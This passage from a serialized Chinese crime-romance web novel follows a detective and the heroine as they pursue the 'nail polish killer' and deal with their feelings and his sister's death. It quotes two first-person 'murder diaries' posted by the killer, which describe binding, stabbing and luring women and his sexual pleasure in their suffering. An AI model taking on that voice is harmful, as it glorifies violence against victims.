祝好转头,看到李砚川拎着一把伞从酒吧里出来:“好好,你怎么不带伞就出来了……侦探先生?”
程述客套:“不好意思啊,时间太晚了,她该回家了,你也知道最近外面不安全。”
李砚川虽然不舍,但还是善解人意地笑了笑,把伞递给祝好:“好好,改天见,回去洗个热水澡,早点休息。”
祝好点点头,拉开车门上了车。
程述启动车子,车轮碾碎了柏油路上霓虹灯的倒影。
他突然开口:“你喝酒了?”
祝好本想说没有,但听出他语气里的诘责,心里的不悦登时被放大,索性赌气地嗯了一声,闭起眼睛靠在座椅上不再搭理他。
本来只是想装睡,却在偶尔的颠簸中真的睡了过去。不知过了多久,有人轻轻拍了拍她的脸:“起来。”
祝好睁开眼往窗外一看,才发现到家了。她解开安全带,拿起自己的包下了车,还没来得及站稳,身体就腾空而起。
程述似乎是认定她喝了酒,不由分说把她抱了起来,她赶紧用手肘捅了他一下:“放我下来,我没喝酒。”
程述将信将疑,把她放在地上:“那你走两步试试。”
还走两步试试,她本来就没喝酒,别说走两步了,当街来上一段托马斯全旋都没问题。
程述无奈:“那你身上怎么一股酒精味儿?”
“别人不小心把酒泼到我身上了。”祝好提起自己的衣领嗅了嗅,上面的酒精味确实很浓。
她无声地叹了口气,问程述:“你不是回家了吗,为什么突然又回来了?”
程述打开伞撑在她头顶,遮住了细密的雨帘,虚环着她的肩膀往楼道的方向走去:“你真的不知道为什么吗?”
地面上水洼里斑斓的灯光被雨水打碎,绽放成一朵朵烟花。
“我不知道。”祝好低下头,语气生硬:“如果你不说,我就永远也不会知道。”
程述漫不经心地嗤笑:“因为我担心你,这个回答你满意了吗?”
他的语气跟往常一样慵懒随意,但故意挪开的视线出卖了他的局促。
那一缕微妙的失落又一次萦绕在心头,祝好不依不饶地追问:“为什么担心我?”
走进楼道里,程述收起了伞:“担心你明天会出现在报纸的头条上,行了吧?”
又是这样避重就轻的回答,又是这样敷衍的态度。
低落的情绪如同将要爆炸的气球,几乎要撑破胸膛。
不知哪来的勇气,她突然抬手推了程述一把。
程述猝不及防后退了两步,祝好双手撑在楼道里油漆脱落的墙上,将他如山一般的身躯圈在其中,两个人的身体几乎紧紧相贴。
她仰起头,对上程述的眼眸,一字一顿地重复刚才的问题:“我问的是,你为、什、么担心我。”
第194章
程述神情一滞,喉结轻轻滚动:“祝好,你在做什么……你真的没喝酒吗?”
祝好丝毫不给他转移话题的余地:“我没喝酒,你呢?那天晚上,你喝醉了吗?”
程述眼底浮现出一丝诧异,目光相触的瞬间又猝然移开:“……你记起来了。”
不但记起来了,还因为剧情回顾的缘故而记得一清二楚。
祝好声音不自觉低了下来:“你说的那些话,是发自内心的吗?”
程述反问:“你觉得呢?”
祝好:“我不知道。你好像明明很在意我,却又总是把我推开;你不停在试探,却又不给我回应。有时候我觉得你心里那扇千钧重的门好像为我开了一条缝隙,可下一秒,你又变回了老样子。我看不懂你,程述。”
程述轻易地挣开了她的束缚,自嘲地苦笑:“没关系,我也看不懂我自己。”
他背过身去,扶着额头轻轻呼了一口气:“我总是告诉自己要理智一些,毕竟这个世界对你来说是个游戏,而我只是一个路人甲,你随时可能离开,所以我不想让自己陷得太深。”
“可我又没办法控制自己,总是忍不住想要离你再近一些,想要知道你对我是什么感觉,想要把所有靠近你的人通通赶走,想要随心所欲地拥有你甚至是……占有你。”
他一口气说了很多,祝好一时有些怔然,不知作何回应,只是愣愣地看着他。
“我不是什么品行高尚的人,甚至比自己想象中更卑劣。那天晚上我没喝醉,我非常清醒。但我假装自己醉了,这样我就可以借着酒醉的借口再放肆一些,做一些预谋已久、却一直不敢做的事情,就比如——”
他骤然回身,不容抗拒地扣住祝好的手腕将她抵在墙上,初春的空气微凉湿润,而他的呼吸却炙热而滚烫。
祝好没料到他会突然这么做,身子被牢牢禁锢在他的怀抱中,下意识挣了挣手腕。
看她这个反应,程述眼里的温度骤降,松开手,强撑着笑脸说道:“看吧?像之前那样多好,为什么非得追问到底呢?现在搞得多尴尬。”
他总是一副自命不凡的模样,祝好从没见过他像现在这样,似乎一层一层剥开了包裹在身上锈迹斑斑的铁甲,把那颗最真实、也最脆弱的心脏捧在她面前。
她心念微动,一把拽住他的衣领,又一次拉近了两个人之间的距离。
楼道里年久失修的灯忽明忽暗,映出他眼底的讶色。他张了张嘴,声音喑哑:“……祝好,你这是在干什么?”
祝好一瞬不瞬地看着他的眼睛:“你说呢?”
他眼底似有风暴翻涌,再次确认:“你真的没喝酒吗?”
“没有,我和你那天晚上一样清醒。”
她也说不清自己对程述到底是种什么感觉——或许当一个人真正沉浸在某种情绪里时,自己往往很难察觉。
但她知道,如果这一回他的吻真的落下来,她不会再躲开。
程述倾下身缓缓贴近,温热的吐息掠过祝好的脸颊,心脏跳动的速度也随之攀升。
她下意识闭上眼睛,等待着想象中的的唇齿相依。
“咳咳——”
楼道里突然传出几声犬吠,接着是两声刻意的咳嗽声。祝好吓了一跳,整个人瞬间清醒,程述也应声拉开距离。
房东大妈站在楼道的拐角处,一手打着手电筒,一手牵着小白狗,满脸尴尬:“呀,我这……不好意思啊小程,我听到楼道里窸窸窣窣的,还以为发生什么事了呢,就下来看看。”
她的目光在程述和祝好的脸上逡巡,小心翼翼地问:“我……是不是打扰到你们了?”
程述不着痕迹地剐了仍在狂吠的小白狗一眼,笑了笑:“没关系,我们回家再继续。”
房东大妈连忙附和:“对对对,赶紧回去吧,这大半夜的。”
程述若无其事地牵起祝好的手就往楼上走,跟房东大妈擦身而过时还不忘跟她说了句“晚安”。
还没走出几节楼梯,房东大妈自言自语的牢骚从身后隐隐传来:“现在的年轻人还真是干柴烈火,再走两步都到家了,这都忍不了吗?”
祝好:……
回到家里,祝好换下满是酒精味的衣服,抱着浴巾和换洗衣物进了洗手间。
脱离了旖旎暧昧的氛围,那颗悸动不止的心脏逐渐归于平静。温水带走了周身的凉意,也让她发热的头脑变得清明许多。
理智回笼后,连祝好都想不明白促使自己做出刚才那番举动的勇气,究竟从何而来。
她懊恼地拍了下自己的脑袋:祝好啊祝好,你怎么就那么沉不住气呢?明明现在应该专注于指甲油杀手的案子,而不是分心去想别的。
真是色令智昏。
直到蒸腾的热气让她差点喘不过气,她才关掉花洒,换好衣服打开洗手间的门。
程述正躺在沙发上看书,听到动静,忽地坐起身。
似乎是感觉自己的动作太突兀,他故作镇静地干咳一声:“洗好了?”
祝好不敢看他,把目光转向别处,低低地“嗯”了一声。
程述:“刚才的事——”
祝好打断他的话:“程述,我想……我们现在的重心还是应该放在案子上,其他的事先放一放,你觉得呢?”
程述眼神蓦地黯淡下来,失落地垂下眼睫:“所以你刚才只是一时冲动吗?”
祝好连忙解释:“当然不是,我没有一时冲动……好吧,我是冲动了点儿,但我的所作所为都是发自内心的。只是现在……在这个紧要的关头,我们还是以案情为主,先别因为这件事而分心。”
新闻的热度很快就会过去,待到人们逐渐放松警惕时,指甲油杀手随时都有可能再次犯案。眼下显然不是谈情说爱的好时机,当务之急还是先把这个案子解决了。
程述抬眼看向她,问道:“真的吗?”
祝好无端觉得他就像一只垂尾乞怜的大型犬,委屈巴巴地等着她给自己一个肯定的答复。
她笃定地点了点头,郑重承诺:“真的。”
他像是松了口气,终于弯起眉眼:“行吧,你说什么就是什么,不过我得先要个定金。”
祝好不解:“什么定金?”
话音刚落,程述突然凑近,抬手撩起她半干的刘海儿,温热干燥的嘴唇在她的额头上一触即分,然后得意地笑了:“定金一概不退,你答应的事可不能反悔。”
*
严雪儿喂猫的那个小公园原本是供附近的居民休闲散步的,由于管理不善,已经接近荒废状态,天黑之后基本就没人经过了,因此根本无法找到其他目击证人。周边的摄像头更是坏得七七八八,仅剩的几个能用的也没拍到什么可疑的车辆或人影。
警方在附近一连蹲守了好几个晚上,各色各样的流浪猫见了不少,却一直没见过武明杰说的那个喂猫的男人。
如果真的存在那么一个人,那他一定提前做好了准备,摸清了周边监控摄像头的排布。而他去小公园的目的也不是喂猫,而是为了拉近与严雪儿的距离,寻找机会对她下手。
因此在严雪儿被害之后,他便如同人间蒸发一般,再也没有出现过。
夏嫣的案子更是走进了死胡同,除了陶斯然见过的那个人影和指甲油杀手故意留下的鞋印之外,再也没有新的线索。
在这个信息爆炸的时代,所有的新闻都是速生速朽。“连环杀手重新出现”的词条在热搜榜首上挂了几天之后,很快就被新的热点所取代。
当人们开始遗忘这件事带来的恐慌、放松警惕之时,指甲油杀手就有了可乘之机。
警局里。
秦聿风显然几天没好好休息过了,头发蓬乱,下巴上冒出一层青灰色的胡茬,眼睛下面也挂着两个巨大的黑眼圈,面前烟灰缸里的烟蒂都堆成了小山。
他拿着夏嫣和严雪儿尸体后颈处的照片翻来覆去地研究,头疼地叹了口气:“这两条竖线到底是什么意思呢?”
说着他抬眼看了程述一眼,问道:“老程,你今天吃错什么药了,从我见到你的那一刻就这副表情。”
跟秦聿风的苦恼相比,程述的心情显然格外美丽,笑着问道:“什么表情?”
秦聿风扬了扬下巴:“喏,就现在这样,嘴角一直没下来过。你该不会是中彩票了吧?”
程述把视线转向祝好,笑容里多了几分狡黠的意味:“对啊,还是个大奖,可惜还没到兑奖的时间。”
秦聿风只当他是在胡扯,嗤笑道:“大奖?苟富贵勿相忘,咱兄弟那么多年,你好歹也要跟我对半分吧?”
程述想也不想就拒绝:“不分。”
祝好抬起手撑着脸,挡住他那黏糊糊的目光,干咳一声岔开了话题:“我刚才查了一下,双数线的含义有好多种,比如在数学中,两条竖线表示绝对值,在音乐符号中,又是用来分隔乐曲的小节线……不过感觉这些都不是指甲油杀手想要表达的意思。”
秦聿风沉吟片刻:“你说呢,老程?”
程述终于难得正经:“就跟把受害者尸体摆成祈求姿势、给她们涂上红色指甲油一样,在后颈处刻上两道竖线,也属于犯罪标记的一种,是为了刻意表现某种情绪或情感。但这个标记是突然出现的,在这之前从来没有过,所以一定跟他消失这几年的经历有关。”
办公室的门忽然被敲响,技术员推开门,脸色很不好看:“秦队,那个NPK又在论坛上发了新的帖子。”
秦聿风皱起眉头,问道:“说了什么?”
“我发到您电脑上了。”
秦聿风赶紧点开屏幕,面色蓦地一沉:“老程,祝好,你们赶紧来看看。”
第195章
祝好连忙凑上前,看清屏幕上的内容后,骤然间头皮发麻——帖子的标题是《我的杀人日记》,秦聿风把网页下拉,屏幕上出现了一张老照片,照片上的女孩手脚都被麻绳牢牢绑紧,嘴也被胶带封着。
祝好认出了这个女孩——蒋婷婷,指甲油杀手的第一位受害者。
蒋婷婷遇害已经是二十多年前的事,照片也早已褪色发黄,但隔着屏幕和遥远的时光,仍是能从那双含泪的眼睛里感受到她当时的恐惧和无助。
帖子里还有一段极其详尽的叙述。
“我跟踪了她很久,终于还是决定对她下手了。
我用麻绳紧紧勒住了她的脖子,不过很快又改变了主意,因为我发现勒死一个人挺难的,我手都有些麻了,居然才过去了两三分钟。刚打算放松一下,她又突然恢复了力气,在地上拼命又踢又扭的,挣扎得很厉害。
虽然这回我将她的手脚先绑了起来,不用担心她会逃脱,但有一点很令人沮丧,就是从背后勒住她时,我根本看不到她的表情。
我开始思考怎么杀死她比较好,想了很久,我决定用刀。
我找来一把匕首,掀开了她的上衣。她看起来十分害怕,一直在哭,让我有些心烦,所以我撕开了她嘴上的胶带,想知道她究竟想说些什么。
她说了什么来着,我好像记不太清了,大概就是求我放过她,她一定不会报警之类的,还骗我说她爸爸很有钱。太可笑了,我可是观察了她足足三个月,怎么会不知道她爸爸是干什么的?
不过她求饶的模样让我感到很兴奋,所以我听
她说了大概十分钟,后来我实在不耐烦了,就重新用胶带把她的嘴封起来。
一开始我有些犹豫,没把握好力度,第一刀刺得太浅了,只是划伤了她的皮肤,所以第二刀我特地调整了角度和姿势,毫不犹豫地刺了下去。
当我把刀从她身体里拔出来时,鲜红色的血液从伤口不停往外流,看着她因为疼痛而扭曲的表情,一种许久未有过的快感涌上我的颅顶,我简直要高潮了,又一次把刀插进她的身体里。
最后她终于不再动弹,我在她身边坐了很久很久,总觉得还缺了点什么,我在抽屉里找到了那瓶指甲油给她涂上,她终于成为了我想象中的模样。
说实话,我实在舍不得就这么让她离开,可是我又觉得,应该让更多人看到她这副丑陋的、卑微的、向我求饶的嘴脸!
不过最后我复盘了一下,她不应该躺着,她应该跪着。只有跪在地上,才能算是祈求。”
这篇帖子字里行间没有任何的忏悔和自责,通篇都是冷静的叙述,仿佛受害者的痛苦对他来说只是一种养料,用来滋养他变态的欲望。
粗略读完后,祝好就已经觉得如坠冰窟,手心都渗出一片薄汗。
帖子的最后,NPK留下了一句话:“这篇日记我珍藏多年,还是忍不住和你们分享。下一个故事你们想听什么?是按顺序来,还是先听你们最熟悉的那一个?”
他显然知道帖子不会在论坛上存活太久,但网站一定会替他将帖子内容原封不动转达给警方,所以最后这句话,明显是冲着警方说的。
而“最熟悉的那一个”,很有可能指的就是程霜。
秦聿风狠狠砸了下桌子,低声骂道:“靠,真是见鬼了。”
祝好理解他的愤怒,不论是指甲油杀手消失前还是回归后,警方一直在被他牵着鼻子走,却迟迟找不到突破的线索。秦聿风肩负的责任和压力,是旁人所无法理解的。
跟秦聿风的焦躁相比,程述显得冷静许多,不过还是敛起了那副吊儿郎当的姿态,表情认真起来:“别急,他发这个帖子对我们来说反而是个好消息。”
秦聿风问:“什么好消息?”
程述:“说明他已经开始沉不住气了。”
这个帖子的出现侧面印证了程述之前的推测,警方最近在城市各处都加大了巡逻的力度,而铺天盖地的新闻不仅没有如指甲油杀手所希望的那样让他名声大噪,反而使不少人提高了防范意识,导致他正处于一个想作案却又无法作案的焦虑期,只得靠重温过去的犯罪过程以及挑衅警方来获得心理上的满足。
秦聿风沉思了一阵子,点点头:“那我们现在要怎么做?”
程述:“自负是他的致命弱点,五年前是,现在也是。这篇所谓的‘日记’已经证实了我对他的大部分剖绘,比如他靠用刀刺伤受害者来获取性快感,以及红色指甲油确实代表了某个对他来说很重要的人。我们现在只需要按兵不动,他很快就会因为等不到回应而发布新的帖子。”
警方所掌握的关于指甲油杀手的线索并不多,他越是按捺不住自己,就越容易露出马脚。
程述交代秦聿风:“你让人把这篇帖子打印一份给我,我回去再好好研究研究。”
秦聿风应了一声,又突然觉得不对劲:“为什么不能在这儿研究?”
“家里舒服。”
秦聿风白了他一眼:“这儿不舒服?有吃有喝有空调,哪儿让您这位大爷不满意了?”
程述意味深长地笑:“这儿人多,影响我思考,还是家里好,没人打扰。”
秦聿风无奈地骂了句“毛病”,但还是叫来一名警员,让他把帖子里的照片和日记的内容都打印下来,交给程述。
祝好一开始也想不通程述为什么非得把东西带回家研究,不过很快她就明白了原因。
回到家里,她趁着程述洗澡的功夫,找出了他那本关于指甲油杀手的心理侧写和受害者详细信息的笔记本。
这本笔记她之前只是囫囵翻过一两回,在许安宁的案子结束之后,就没再仔细研究过。
她摊开笔记本,找到与蒋婷婷有关的内容,与NPK发布的那篇帖子里提到的信息逐一进行对比。
根据程述的分析,指甲油杀手在杀害蒋婷婷时手法并不成熟,尸检结果也显示她的胸口有多处伤口,最后的死因是失血性休克,这就跟NPK的日记对上了。
另外蒋婷婷的尸体被发现时呈侧躺姿势,双手交叠,从NPK的日记来看,他显然对自己这次的“杰作”感到很不满意,还进行了一次复盘,之后的几起案子里,他才逐渐完善了自己的犯罪标志,将受害者摆成祈求的跪姿。
祝好突然回想起跟蒋涛在审讯室见面的情形,他喃喃地对祝好说:“对不起,我真的没想过要伤害你。你会恨我吗?”
他当时看着祝好的表情,就好像在看自己的女儿,眼神里满是怜惜和自责。
祝好轻呼了一口气,甚至有些庆幸蒋涛还在监狱服刑,如果他真的看到蒋婷婷那张照片和指甲油杀手的自述,说不定会有多痛苦。
洗手间的水声停下,程述打开门从里面出来,身上还冒着水汽。
他在沙发上坐下,凑到祝好身边问道:“在干什么呢?”
祝好刚要回答,余光突然发现他只穿了条宽松的运动长裤,脖子上搭着一条毛巾,露出上半身漂亮结实的肌肉线条。
她耳尖泛红,赶紧抽回目光:“你怎么不穿衣服?”
“热。”程述晃了晃脑袋,发梢上悬着的水珠滴落,顺着下颚流淌到锁骨。
祝好无语:“热……热你就把窗子打开透气啊。”
“不,我就要这样。”程述伸了个懒腰,挑了挑眉,又凑近了一些:“难道你不喜欢吗?”
祝好:……
难怪这家伙非要回家,还什么“没人打扰”,分明就是想对她犯贱。祝好甚至觉得,昨晚可怜巴巴的模样都是装出来的,现在这副贱兮兮的样子才是他的真面目。
她一把推开程述的脸:“正经点儿,说好了我们要先把重心放在案子上,你赶紧把衣服穿好!”
程述露出一脸得逞的笑,这才回房间拿了件T恤换上,重新坐在她旁边用毛巾擦拭头发上的水,余光落在那本笔记本上,问道:“研究出什么了?”
祝好摇摇头:“老大——”
习惯性地叫出这个称呼后,她突然发现程述的嘴角明显下撇,眉头也微微皱起,似乎在无声地表达着某种不满,只得干咳一声,改口道:“……程述,你能不能跟我说说小霜?”
程述微微一愣,手上的动作也停了下来:“为什么突然提起小霜?”
“这本笔记里其他几位受害者的资料都有多次翻动的痕迹,关于小霜的那部分却几乎没有,就好像是……刻意略过了。”祝好小心翼翼地探询:“你是不是几乎没有深究过小霜那起案子的细节?”
程述没应声,目光黯淡下来,将万般思绪锁进低垂的眼睫里。
——在那张帖子的最后,指甲油杀手曾放言还会继续发布“日记”,如果下一篇帖子的内容真的跟程霜有关,那么对程述来说,无异于将他心头深埋的那根刺拔出来,又狠狠刺回去。
沉默许久,程述向后仰靠在沙发上,长长地叹了口气:“这五年来,几乎每个受害者的资料、尸检报告和抛尸现场我都研究了无数遍,只有小霜……你说得没错,光是写下那些文字就已经很痛苦了,我实在没有勇气反复探究,所以一直下意识在逃避。”
顿了顿,他问:“说出来,真的会好吗?”
祝好摇摇头,坦诚道:“我不知道,但是痛苦就算深埋在心里也没办法消化。说出来可能不会好,但我愿意和你一起分担。”
第196章
程述没有马上说话,
抬头看着发黄的天花板发呆,好似在某种回忆里挣扎翻涌。
半晌,他才开口说话:“我刚进警局一年多,就正好碰上了指甲油杀手作案频率最高的时候。当时整个警局都为了这个案子忙得脚不沾地,我跟老秦甚至一连好几天都住在办公室里,几乎没时间回家。”
“那时候小霜还在上大学,为了不让我担心,她下了课都会直接回家,不过她有一份家教的兼职,每个星期三晚上都会去辅导一个中学生做功课。那个学生家离我们住的地方不远,公车只要两站就到了,所以我也没太在意,只是叮嘱她注意安全。”
“那……”祝好斟酌着语气:“那指甲油杀手是怎么找到机会对她下手的?”
程述:“那个学生家离公车站有几百米距离,监控显示她在经过一条巷子时突然停住了,转头看向巷子里,迟疑了一下还是拐了进去,然后就没再出现过……”
顿了顿,他又说:“她每次回到家都会跟我报平安,那天我一直没接到她的电话,刚要打过去,就接到了出警通知。”
祝好想起秦聿风曾告诉过她,当时他们突然接到了一个报警电话,电话里有个女人声称自己被一个穿着黑色雨衣的人跟踪了,可当他们根据定位赶到时,却只发现了指甲油杀手放在那里的手机,而手机里播放的,正是程霜遇害的视频。
后来警方推测指甲油杀手应该是假扮成受伤的老人或者残障人士,在没有监控的巷子里喊住程霜,慌称自己需要帮助,然后趁她不备将她勒晕后绑到车上带走。
虽然是亲兄妹,但程霜的性格跟程述简直是天差地别,当时下着大雨,哪怕铭记着哥哥的嘱咐,但面对一个亟需帮助的人,她还是没能违背自己善良的本性,朝对方伸出了援手。
然而也正是因为她的善良,才让指甲油杀手有了可乘之机。
祝好轻声说:“善良并不是她的错。”
程述眉宇间仿佛压了一层阴霾:“当然不是她的错,是我太自大了。如果当时我没有接受采访,没有说出那些话,指甲油杀手就不会为了报复我而盯上小霜,小霜也就不会出事了。”
他闭上眼睛,下颌线紧紧绷着:“小霜生前最喜欢吃甜点,总是让我下班时帮她带奶茶和蛋糕。我怎么会忘记呢?每个受害者的忌日我都会去墓园看望她们,可到了小霜的忌日,我却从来不敢在她的墓碑前停留太久,更别提给她带奶茶和蛋糕了,每次都像完成任务一样匆匆地去,然后匆匆离开。我不敢面对她,也不知道怎么面对她。”
祝好如鲠在喉,却说不出太多安慰的话,只好轻轻拍了拍他的手背:“别那么自责,你也没有错,没人能预料到会发生那样的事情。”
程述苦笑:“我知道,但我总觉得那只是安慰自己的说辞,不然我为什么会不停做噩梦呢?许安宁说得没错,自从小霜去世后,我把自己的生活过得一团糟,甚至要靠酒精才能让自己勉强入睡,否则只要一闭上眼睛,就会看到小霜浑身血淋淋地站在我面前。”
祝好看着他,一时有些语塞。
这个初见时冷若冰霜、态度恶劣,拒人于千里之外的男人,如今却主动推开了心里那扇重逾千钧的大门,毫无保留地把一切脆弱都展示给她。
祝好问:“在你的梦里,小霜有没有责怪过你?”
程述倏地一愣,许久才缓缓摇头:“……没有。”
“那就对了,她一定知道这不是你的错,所以从来没有责怪过你。你呢,也别用那么多‘如果’将自己困住,这件事从头到尾错的都只是指甲油杀手。”
程述长叹一声,忽然笑了:“你别说,说出来好像真的好了不少。”
祝好知道他并没有“真的好了不少”,程霜的死一直是他的心结,根本没法凭一两句话就能释然。他这么说,或许只是想让她觉得自己的安慰没有白费罢了。
她抬眼看他,过了会儿,拍了拍自己的肩膀:“如果你有需要,我的肩膀可以借你靠一下。”
程述微微一怔,挑起眉梢:“我跟你说这些可不是为了占你便宜。”
祝好嘁了一声:“知道你正人君子,行了吧?不靠就算了,我睡觉去。”
说完就要站起身,却被程述摁回了原处。
程述调整坐姿,抱着双臂,把头轻轻搭在她肩上:“我才不是什么正人君子,既然你都提出来了,哪有不靠的道理。”
他的身躯滚烫,散发着沐浴露和洗发水混合的淡淡的香味,没有完全擦干的头发轻扫过皮肤,带来若有似无的痒意,惹得祝好不自觉缩了缩脖子。
这个姿势看似亲昵,但两人之间还是保持了一些距离,谁也没有说话,也没有进一步的动作。
过了许久,祝好犹豫着,把手轻轻搭在了他的后脑上,一下一下捋顺他半干的头发:“程述,你现在还会做噩梦吗?”
程述笑:“如果我说会,你今晚能抱着我睡吗?”
这家伙果然正经不过三秒钟,祝好啧了一声,作势要推开他。
“开玩笑的,别推开我,让我再靠一会儿。”程述死皮赖脸地把脸埋在她的颈窝里,温热的吐息喷洒在颈侧:“以前我几乎每天都会做噩梦,后来有一天,我突然发现自己好像很久没做过噩梦了。”
“为什么?”
“我一开始也想不明白为什么,过了很久,才后知后觉是因为有别的事情分散了我的注意力,让我不再一刻不停地咀嚼和回味那些痛苦,噩梦自然也就消失了。”
程述就着靠在她肩上的姿势微微抬起头,目光透过浓密的睫毛落在她脸上。
他们之间的距离太近,近到他每一个表情的变化都纤毫毕现、每一次呼吸都清晰可闻,近到祝好能看清他眼神中的直白和热烈,如同燎原的野火,几乎要蒸干周围空气的水分。
这样下去简直太危险了。
祝好调整了姿势,随手抓起茶几上的资料,顺势将他的脑袋推开,想要不动声色地扑灭这场火。
她转移了话题:“这张帖子里,指甲油杀手说他连续跟踪了蒋婷婷三个月才对她下手,他一直都那么有耐心吗?”
程述接过那份资料,说道:“对,他行事十分谨慎,当他锁定一个受害者时,会先花很多时间观察、跟踪,在确认对方单独出行、并且周围没人时才下手,就算他消失之前作案频率变高了许多,但是根据我们的推测和部分受害者家属的证词,他至少会花上一个月的时间来观察受害者,以确保万无一失。”
祝好疑惑:“我听说连环杀手的行为通常会有一个冷却期,之前指甲油杀手两次作案之间的间隔一直保持在两三年左右,可为什么五年前他的作案频率会突然增高?”
程述:“连环杀手作案时间的间隔可能受到内在心理状态,外部压力,机会等多种因素的影响,有可能是某个突发的重大事件触发了他心理上的变化,导致他的行为模式也发生了改变。”
祝好问:“比如什么事件?”
“还记不记得我对指甲油杀手做出的心理剖绘中,提到过所有的受害者都是某位女性的替代品?”
祝好点点头。
程述把那份资料翻到背面,随手抓起一支笔,在空白处龙飞凤舞地写下一行字:杀害一个替代品→暂时缓解仇恨和愤怒→仇恨和愤怒再度累积→下一次作案。
然后说道:“这是指甲油杀手一开始的作案模式,触发他杀戮的导火索有可能是生活中的挫折,也有可能是心理上的压力,但终归来说还是有迹可循的。”
他突然停下了,理直气壮地又把脑袋靠在了祝好肩上。
祝好不满地推他:“我说了只借你靠一下,别没完没了的。”
程述纹丝不动:“你不让我靠我就不继续说了。”
祝好:……
差点忘了这家伙的脸皮厚得可以用来糊墙。
她急于了解后续,只好妥协:“行吧,再让你靠五分钟。”
程述露出一脸心满意足的坏笑,这才继续说:“五年前他的作案间隔突然缩短,很有可能是因为那名女性突然离去——或许是去了很远的地方,又或许已经不在人世了。”
“总之,她的离开引发了指甲油杀手的某种情绪,例如未被解决的愤怒和被抛弃的痛苦,也让他失去了一个重要的心理投射目标,因此只能通过更频繁的作案来宣泄这些情绪。”
祝好敲着下巴思考:“既然指甲油杀手选择的目标受害者是二十多岁,而他又是在童年时期受到的创伤。这么说来,那名女性有没有可能是他的母亲?”
程述点点头表示认同:“就算不是他的母亲,也是某位与他关系十分亲近的人。而且这个人可能极为专横,总是会对他使用严厉的惩罚。”
祝好思考片刻,觉得不对劲:“那为什么夏嫣和严雪儿被害的时间只间隔了几天?”
程述沉吟片刻,说道:“这一点确实很反常,我也还没有想明白。对指甲油杀手来说,应该不会再有比那名女性的离开更重要的应激源了。他现在杀人已经不再是为了宣泄情绪,更多的是想要向外界传达某种信息,并获得公众层面上的认可。”
他话音一顿,又说:“不过这对我们来说也算是一件好事,只要他不再按自己的习惯行事 ,就一定会露出更多破绽。”
第197章
翌日早晨,祝好难得没被扫帚捅天花板的声音吵醒,一觉睡到了自然醒。
她揉着眼睛从阁楼下来,问在厨房里准备早餐的程述:“今天怎么大发慈悲不叫我起床跑步了?”
“让你休息一天,不过能不能陪我去个地方?”
“去哪儿?”
程述从厨房里端出一盘鸡蛋卷和一杯豆浆放在餐桌上:“去看看小霜。”
早春的天色清朗,温润的微风拂过墓园里的柏树。树影摇晃,撒下一簇簇细碎的阳光。
等程述用湿纸巾仔仔细细地把墓碑擦拭干净后,祝好把路上买好的提拉米苏和奶茶递给他:“这回你自己给她。”
程述犹豫了一下,小心翼翼地将奶茶和蛋糕摆在墓碑前,静静地与那张不会褪色的笑颜对视了一会儿,就要站起身。
祝好问:“你不对她说点什么吗?”
想了想,又说:“如果你难为情,我可以离远些,保证不偷听。”
程述拍了拍裤腿上的灰尘,笑着摇了摇头:“现在没什么好说的,等一切都结束,我还会再来的。”
白色的雏菊簇拥在墓碑前,衬托着少女鲜妍的笑脸,似乎无声地接下了他的承诺。
祝好点点头,跟在程述身后离开了墓园。
回去的路上,程述接到了秦聿风打来的电话,随即调转方向,把车开往警局。
跟他预料的一样,没有等到警方的回应,指甲油杀手没过多久就迫不及待发布了第二条帖子。
帖子依旧附上了一张受害者的照片,照片里的“主角”祝好也认得,那是许安宁的姐姐,许安然。她的手脚同样被麻绳捆绑,面露惊惧。
帖子的内容依旧是以第一人称详细叙述的“杀人日记”——
“我本来没有打算那么快对她下手,但那天的时机简直太完美了。一开始我只是在车上观察她,没想到她突然朝我走来,敲开车窗焦急地问我有没有见过她妹妹。
我随手指了一个方向,告诉她看到她妹妹跟一个男人往那边去了,并表示可以开车带她去找,没想到这个傻女人居然相信了,毫不犹豫地上了我的车。
开车前我观察了一下,发现四周并没有摄像头,难道这是老天在暗示我今天是动手的好时机吗?
没想到她醒来的第一句话居然是问我她妹妹在哪儿,请求我不要伤害她。
我怎么会知道她妹妹在哪里,但她苦苦哀求的模样让我感到十分兴奋,于是我骗她说只要她不叫,我就不会对她妹妹下手,结果她真的闭嘴了,还说随便我做什么都行。
这句话突然让我十分愤怒,她一定是知道我没办法对她做什么,所以才故意这么说的!贱人!biao子!你们跟那个女人没什么两样,只想着看我的笑话!通通去死吧!
我疯了一样把刀刺进她的身体,一次又一次,直到她不再挣扎,我才把刀插进她的胸口,结束了她的生命。
这种感觉令我畅快无比。
更令人难以置信的是,那个女人的妹妹居然模仿我的手法杀了一个人,她是不是以为这样我就会上钩?
幸亏你们聪明,才没让她夺走我的名声。不过可惜了,要不是她在监狱里,我真想当面把她姐姐当时说的话原封不动告诉她,她的表情一定很令人期待。”
帖子的最后,他照例留下了一段话:“程警官,你怎么不像当初一样分析我了?是因为害怕吗?之前的游戏有些玩腻了,我已经想好了新的玩法,你们是不是也跟我一样期待?”
这段话让祝好毛骨悚然,虽然她对许安宁当初差点一刀把她送走的事耿耿于怀,但指甲油杀手更是变态中的变态,不仅将人命视如草芥,把谋杀当成游戏,还以别人的痛苦为乐。
秦聿风掐着腰,焦躁不安地在办公室里来回踱步:“游戏?他管这叫游戏?等我找到他,非把他的皮扒了不可!诶,老程,你倒是说句话啊。”
程述一言不发地坐在沙发上没应声,秦聿风忍不住上前拍了他一下:“你到底研究出什么没有?老程。”
程述的思绪被打断,不耐烦地推开他的手:“别一直‘老程老程’的了,让我安静一会儿。”
又吐槽秦聿风:“你这队长到底怎么当上的,局长给你走后门吗?什么都要问我。”
秦聿风酸溜溜的:“家里的床舒服吧?知不知道我几天没睡好觉了?天天都在办公室的沙发上应付,脑子都要转不动了。”
程述丝毫没有愧疚之意,嫌弃地推开他:“那你不会没洗澡吧?”
秦聿风赶紧捂住他的嘴:“怎么可能没洗,天天洗,干净得很,你闻闻。”
说完下意识转头瞟了祝好一眼,似乎是生怕她误会。
祝好完全没在意他们的拌嘴,兀自坐在电脑前把那篇帖子又看了一遍,脑子里充斥着无数个疑问。
昨天她花了大半宿时间把程述那本笔记本认认真真、翻来覆去地看了好几遍,再对照NPK发布的这两篇帖子,总觉得重新出现之后的指甲油杀手,和程述记录的那个指甲油杀手变得有些不太一样了。
首先,既然指甲油杀手知道许安宁模仿他的作案手法杀人的事,说明他一直很关注跟自己有关的新闻。按照他的性格,应该会因为自己的名声差点被抢走而气急败坏,早就忍不住跳出来了。可从帖子里的措辞和语气来看,他似乎并没有表现得太愤怒。
其次,连环杀手的作案模式会随着时间而改进,就比如从指甲油杀手的自述来看,他本来打算将蒋婷婷勒死,在发觉勒死一个人并不像自己想象中那么简单后,才改用匕首将她杀害。
